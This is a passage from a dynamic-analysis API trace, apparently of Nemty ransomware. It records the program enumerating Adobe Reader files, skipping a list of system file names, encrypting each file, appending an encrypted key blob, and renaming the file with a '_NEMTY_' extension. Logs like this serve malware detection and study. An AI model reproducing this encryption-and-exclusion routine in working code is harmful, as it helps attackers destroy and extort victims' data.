lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6aa0, lpOverlapped=0x0) returned 1 [0216.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.047] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6aae [0216.047] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.047] CloseHandle (hObject=0x2e8) returned 1 [0216.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.048] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt._nemty_kgobjgd_")) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.049] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nb.txt", cAlternateFileName="DI74F4~1.TXT")) returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2=".") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="..") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="...") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="windows") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="rsa") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="NTDETECT.COM") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="ntldr") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="MSDOS.SYS") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="IO.SYS") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="boot.ini") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="boot.ini") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="ntuser.dat") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="desktop.ini") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="CONFIG.SYS") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="RECYCLER") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="bootmgr") returned 1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="programdata") returned -1 [0216.049] lstrcmpiW (lpString1="DisplayLanguageNames.nb.txt", lpString2="appdata") returned 1 [0216.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb.txt", lpUsedDefaultChar=0x0) returned 27 [0216.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb.txt", lpUsedDefaultChar=0x0) returned 27 [0216.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb.txt", lpUsedDefaultChar=0x0) returned 27 [0216.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb.txt", lpUsedDefaultChar=0x0) returned 27 [0216.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.050] Sleep (dwMilliseconds=0x5) [0216.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346b0710, dwHighDateTime=0x1d561e8)) [0216.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346b0710, dwHighDateTime=0x1d561e8)) [0216.058] GetLastError () returned 0x0 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.058] GetLastError () returned 0x0 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.058] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.058] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.058] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.058] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="TKaRuoaHkFlksilJmpCS45WbjyRnnmuXHuZ5NM87Jvc4LQcwdOvcufYC2g82tlTI\r\ngEaFGzoD6xRfMCVMGeVLq+zooYllDsc+jHGN96znIS1z6YSBDx8mrxRQbP9XvdkO\r\n9roQ7mChJdSIR8PZY7pRFPzpq7tzYaSn+Sfh2vRWWGv0sgK287wdHhXh+OugLRqp\r\nMhmEbwKFd90n3/K6cYYzZpHO1W82eOGhTDoaCKvtggGIZ8wVYSydzr0fFMr7klf4\r\nmxLOhgjZV2+bxLQKFTYUm0MRv4NRjLLeW1Jeh69yHgtSNyjk2pGgDaEW7fRE2FsJ\r\nHnUnq6/G5nVdVm5Jg/Jp1g==\r\n", pcchString=0x653e5dc) returned 1 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.058] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.059] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28146) returned 1 [0216.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6df0) returned 0x6352c48 [0216.059] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.059] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6df0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6df0, lpOverlapped=0x0) returned 1 [0216.062] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.062] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6df0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6df0, lpOverlapped=0x0) returned 1 [0216.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.063] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6df2 [0216.063] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.063] CloseHandle (hObject=0x2e8) returned 1 [0216.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.063] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.063] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt._nemty_kgobjgd_")) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.064] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.064] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nb_NO.txt", cAlternateFileName="DI7EFB~1.TXT")) returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2=".") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="..") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="...") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="windows") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="rsa") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="NTDETECT.COM") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="ntldr") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="MSDOS.SYS") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="IO.SYS") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="boot.ini") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="boot.ini") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="ntuser.dat") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="desktop.ini") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="CONFIG.SYS") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="RECYCLER") returned -1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.064] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="bootmgr") returned 1 [0216.065] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="programdata") returned -1 [0216.065] lstrcmpiW (lpString1="DisplayLanguageNames.nb_NO.txt", lpString2="appdata") returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nb_NO.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nb_NO.txt", lpUsedDefaultChar=0x0) returned 30 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.065] Sleep (dwMilliseconds=0x5) [0216.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x346d6870, dwHighDateTime=0x1d561e8)) [0216.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: 